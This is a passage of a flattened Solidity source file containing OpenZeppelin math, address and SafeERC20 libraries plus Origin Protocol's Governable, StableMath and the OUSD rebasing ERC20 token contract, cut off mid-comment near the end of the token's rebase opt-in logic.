* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: contracts/interfaces/IStrategy.sol
pragma solidity 0.5.11;
/**
* @title Platform interface to integrate with lending platform like Compound, AAVE etc.
*/
interface IStrategy {
/**
* @dev Deposit the given asset to platform
* @param _asset asset address
* @param _amount Amount to deposit
*/
function deposit(address _asset, uint256 _amount) external;
/**
* @dev Deposit the entire balance of all supported assets in the Strategy
* to the platform
*/
function depositAll() external;
/**
* @dev Withdraw given asset from Lending platform
*/
function withdraw(
address _recipient,
address _asset,
uint256 _amount
) external;
/**
* @dev Liquidate all assets in strategy and return them to Vault.
*/
function withdrawAll() external;
/**
* @dev Returns the current balance of the given asset.
*/
function checkBalance(address _asset)
external
view
returns (uint256 balance);
/**
* @dev Returns bool indicating whether strategy supports asset.
*/
function supportsAsset(address _asset) external view returns (bool);
/**
* @dev Collect reward tokens from the Strategy.
*/
function collectRewardToken() external;
/**
* @dev The address of the reward token for the Strategy.
*/
function rewardTokenAddress() external pure returns (address);
/**
* @dev The threshold (denominated in the reward token) over which the
* vault will auto harvest on allocate calls.
*/
function rewardLiquidationThreshold() external pure returns (uint256);
}
// File: contracts/governance/Governable.sol
pragma solidity 0.5.11;
/**
* @title OUSD Governable Contract
* @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change
* from owner to governor and renounce methods removed. Does not use
* Context.sol like Ownable.sol does for simplification.
* @author Origin Protocol Inc
*/
contract Governable {
// Storage position of the owner and pendingOwner of the contract
// keccak256("OUSD.governor");
bytes32
private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a;
// keccak256("OUSD.pending.governor");
bytes32
private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db;
// keccak256("OUSD.reentry.status");
bytes32
private constant reentryStatusPosition = 0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535;
// See OpenZeppelin ReentrancyGuard implementation
uint256 constant _NOT_ENTERED = 1;
uint256 constant _ENTERED = 2;
event PendingGovernorshipTransfer(
address indexed previousGovernor,
address indexed newGovernor
);
event GovernorshipTransferred(
address indexed previousGovernor,
address indexed newGovernor
);
/**
* @dev Initializes the contract setting the deployer as the initial Governor.
*/
constructor() internal {
_setGovernor(msg.sender);
emit GovernorshipTransferred(address(0), _governor());
}
/**
* @dev Returns the address of the current Governor.
*/
function governor() public view returns (address) {
return _governor();
}
/**
* @dev Returns the address of the current Governor.
*/
function _governor() internal view returns (address governorOut) {
bytes32 position = governorPosition;
assembly {
governorOut := sload(position)
}
}
/**
* @dev Returns the address of the pending Governor.
*/
function _pendingGovernor()
internal
view
returns (address pendingGovernor)
{
bytes32 position = pendingGovernorPosition;
assembly {
pendingGovernor := sload(position)
}
}
/**
* @dev Throws if called by any account other than the Governor.
*/
modifier onlyGovernor() {
require(isGovernor(), "Caller is not the Governor");
_;
}
/**
* @dev Returns true if the caller is the current Governor.
*/
function isGovernor() public view returns (bool) {
return msg.sender == _governor();
}
function _setGovernor(address newGovernor) internal {
bytes32 position = governorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
bytes32 position = reentryStatusPosition;
uint256 _reentry_status;
assembly {
_reentry_status := sload(position)
}
// On the first call to nonReentrant, _notEntered will be true
require(_reentry_status != _ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
assembly {
sstore(position, _ENTERED)
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
assembly {
sstore(position, _NOT_ENTERED)
}
}
function _setPendingGovernor(address newGovernor) internal {
bytes32 position = pendingGovernorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Transfers Governance of the contract to a new account (`newGovernor`).
* Can only be called by the current Governor. Must be claimed for this to complete
* @param _newGovernor Address of the new Governor
*/
function transferGovernance(address _newGovernor) external onlyGovernor {
_setPendingGovernor(_newGovernor);
emit PendingGovernorshipTransfer(_governor(), _newGovernor);
}
/**
* @dev Claim Governance of the contract to a new account (`newGovernor`).
* Can only be called by the new Governor.
*/
function claimGovernance() external {
require(
msg.sender == _pendingGovernor(),
"Only the pending Governor can complete the claim"
);
_changeGovernor(msg.sender);
}
/**
* @dev Change Governance of the contract to a new account (`newGovernor`).
* @param _newGovernor Address of the new Governor
*/
function _changeGovernor(address _newGovernor) internal {
require(_newGovernor != address(0), "New Governor is address(0)");
emit GovernorshipTransferred(_governor(), _newGovernor);
_setGovernor(_newGovernor);
}
}
// File: contracts/utils/InitializableERC20Detailed.sol
pragma solidity 0.5.11;
/**
* @dev Optional functions from the ERC20 standard.
* Converted from openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
*/
contract InitializableERC20Detailed is IERC20 {
// Storage gap to skip storage from prior to OUSD reset
uint256[100] private _____gap;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/utils/StableMath.sol
pragma solidity 0.5.11;
// Based on StableMath from Stability Labs Pty. Ltd.
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/***************************************
Helpers
****************************************/
/**
* @dev Adjust the scale of an integer
* @param adjustment Amount to adjust by e.g. scaleBy(1e18, -1) == 1e17
*/
function scaleBy(uint256 x, int8 adjustment)
internal
pure
returns (uint256)
{
if (adjustment > 0) {
x = x.mul(10**uint256(adjustment));
} else if (adjustment < 0) {
x = x.div(10**uint256(adjustment * -1));
}
return x;
}
/***************************************
Precise Arithmetic
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
}
// File: contracts/token/OUSD.sol
pragma solidity 0.5.11;
/**
* @title OUSD Token Contract
* @dev ERC20 compatible contract for OUSD
* @dev Implements an elastic supply
* @author Origin Protocol Inc
*/
/**
* NOTE that this is an ERC20 token but the invariant that the sum of
* balanceOf(x) for all x is not >= totalSupply(). This is a consequence of the
* rebasing design. Any integrations with OUSD should be aware.
*/
contract OUSD is Initializable, InitializableERC20Detailed, Governable {
using SafeMath for uint256;
using StableMath for uint256;
event TotalSupplyUpdated(
uint256 totalSupply,
uint256 rebasingCredits,
uint256 rebasingCreditsPerToken
);
enum RebaseOptions { NotSet, OptOut, OptIn }
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 public _totalSupply;
mapping(address => mapping(address => uint256)) private _allowances;
address public vaultAddress = address(0);
mapping(address => uint256) private _creditBalances;
uint256 public rebasingCredits;
uint256 public rebasingCreditsPerToken;
// Frozen address/credits are non rebasing (value is held in contracts which
// do not receive yield unless they explicitly opt in)
uint256 public nonRebasingSupply;
mapping(address => uint256) public nonRebasingCreditsPerToken;
mapping(address => RebaseOptions) public rebaseState;
function initialize(
string calldata _nameArg,
string calldata _symbolArg,
address _vaultAddress
) external onlyGovernor initializer {
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
rebasingCreditsPerToken = 1e18;
vaultAddress = _vaultAddress;
}
/**
* @dev Verifies that the caller is the Savings Manager contract
*/
modifier onlyVault() {
require(vaultAddress == msg.sender, "Caller is not the Vault");
_;
}
/**
* @return The total supply of OUSD.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _account Address to query the balance of.
* @return A uint256 representing the _amount of base units owned by the
* specified address.
*/
function balanceOf(address _account) public view returns (uint256) {
if (_creditBalances[_account] == 0) return 0;
return
_creditBalances[_account].divPrecisely(_creditsPerToken(_account));
}
/**
* @dev Gets the credits balance of the specified address.
* @param _account The address to query the balance of.
* @return (uint256, uint256) Credit balance and credits per token of the
* address
*/
function creditsBalanceOf(address _account)
public
view
returns (uint256, uint256)
{
return (_creditBalances[_account], _creditsPerToken(_account));
}
/**
* @dev Transfer tokens to a specified address.
* @param _to the address to transfer to.
* @param _value the _amount to be transferred.
* @return true on success.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(
_value <= balanceOf(msg.sender),
"Transfer greater than balance"
);
_executeTransfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value The _amount of tokens to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(_value <= balanceOf(_from), "Transfer greater than balance");
_allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub(
_value
);
_executeTransfer(_from, _to, _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Update the count of non rebasing credits in response to a transfer
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value Amount of OUSD to transfer
*/
function _executeTransfer(
address _from,
address _to,
uint256 _value
) internal {
bool isNonRebasingTo = _isNonRebasingAccount(_to);
bool isNonRebasingFrom = _isNonRebasingAccount(_from);
// Credits deducted and credited might be different due to the
// differing creditsPerToken used by each account
uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to));
uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from));
_creditBalances[_from] = _creditBalances[_from].sub(
creditsDeducted,
"Transfer amount exceeds balance"
);
_creditBalances[_to] = _creditBalances[_to].add(creditsCredited);
if (isNonRebasingTo && !isNonRebasingFrom) {
// Transfer to non-rebasing account from rebasing account, credits
// are removed from the non rebasing tally
nonRebasingSupply = nonRebasingSupply.add(_value);
// Update rebasingCredits by subtracting the deducted amount
rebasingCredits = rebasingCredits.sub(creditsDeducted);
} else if (!isNonRebasingTo && isNonRebasingFrom) {
// Transfer to rebasing account from non-rebasing account
// Decreasing non-rebasing credits by the amount that was sent
nonRebasingSupply = nonRebasingSupply.sub(_value);
// Update rebasingCredits by adding the credited amount
rebasingCredits = rebasingCredits.add(creditsCredited);
}
}
/**
* @dev Function to check the _amount of tokens that an owner has allowed to a _spender.
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
* @return The number of tokens still available for the _spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return _allowances[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified _amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param _spender The address which will spend the funds.
* @param _value The _amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the _amount of tokens that an owner has allowed to a _spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param _spender The address which will spend the funds.
* @param _addedValue The _amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
returns (bool)
{
_allowances[msg.sender][_spender] = _allowances[msg.sender][_spender]
.add(_addedValue);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the _amount of tokens that an owner has allowed to a _spender.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The _amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowances[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Mints new tokens, increasing totalSupply.
*/
function mint(address _account, uint256 _amount) external onlyVault {
_mint(_account, _amount);
}
/**
* @dev Creates `_amount` tokens and assigns them to `_account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Mint to the zero address");
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
_creditBalances[_account] = _creditBalances[_account].add(creditAmount);
// If the account is non rebasing and doesn't have a set creditsPerToken
// then set it i.e. this is a mint from a fresh contract
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.add(_amount);
} else {
rebasingCredits = rebasingCredits.add(creditAmount);
}
_totalSupply = _totalSupply.add(_amount);
require(_totalSupply < MAX_SUPPLY, "Max supply");
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Burns tokens, decreasing totalSupply.
*/
function burn(address account, uint256 amount) external onlyVault {
_burn(account, amount);
}
/**
* @dev Destroys `_amount` tokens from `_account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `_account` cannot be the zero address.
* - `_account` must have at least `_amount` tokens.
*/
function _burn(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Burn from the zero address");
if (_amount == 0) {
return;
}
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
uint256 currentCredits = _creditBalances[_account];
// Remove the credits, burning rounding errors
if (
currentCredits == creditAmount || currentCredits - 1 == creditAmount
) {
// Handle dust from rounding
_creditBalances[_account] = 0;
} else if (currentCredits > creditAmount) {
_creditBalances[_account] = _creditBalances[_account].sub(
creditAmount
);
} else {
revert("Remove exceeds balance");
}
// Remove from the credit tallies and non-rebasing supply
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.sub(_amount);
} else {
rebasingCredits = rebasingCredits.sub(creditAmount);
}
_totalSupply = _totalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Get the credits per token for an account. Returns a fixed amount
* if the account is non-rebasing.
* @param _account Address of the account.
*/
function _creditsPerToken(address _account)
internal
view
returns (uint256)
{
if (nonRebasingCreditsPerToken[_account] != 0) {
return nonRebasingCreditsPerToken[_account];
} else {
return rebasingCreditsPerToken;
}
}
/**
* @dev Is an account using rebasing accounting or non-rebasing accounting?
* Also, ensure contracts are non-rebasing if they have not opted in.
* @param _account Address of the account.
*/
function _isNonRebasingAccount(address _account) internal returns (bool) {
bool isContract = Address.isContract(_account);
if (isContract && rebaseState[_account] == RebaseOptions.NotSet) {
_ensureRebasingMigration(_account);
}
return nonRebasingCreditsPerToken[_account] > 0;
}
/**
* @dev Ensures internal account for rebasing and non-rebasing credits and
* supply is updated following deployment of frozen yield change.
*/
function _ensureRebasingMigration(address _account) internal {
if (nonRebasingCreditsPerToken[_account] == 0) {
// Set fixed credits per token for this account
nonRebasingCreditsPerToken[_account] = rebasingCreditsPerToken;
// Update non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(_account));
// Update credit tallies
rebasingCredits = rebasingCredits.sub(_creditBalances[_account]);
}
}
/**
* @dev Add a contract address to the non rebasing exception list. I.e. the
* address's balance will be part of rebases so the account will be exposed
* to upside and downside.
*/
function rebaseOptIn() public nonReentrant {
require(_isNonRebasingAccount(msg.sender), "Account has not opted out");
// Convert balance into the same amount at the current exchange rate
uint256 newCreditBalance = _creditBalances[msg.sender]
.mul(rebasingCreditsPerToken)
.div(_creditsPerToken(msg.sender));
// Decreasing non rebasing supply
nonRebasingSupply = nonRebasingSupply.sub(balanceOf(msg.sender));
_creditBalances[msg.sender] = newCreditBalance;
// Increase rebasing credits, totalSupply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.add(_creditBalances[msg.sender]);
rebaseState[msg.sender] = RebaseOptions.OptIn;
// Delete any fixed credits per token
delete nonRebasingCreditsPerToken[msg.sender];
}
/**
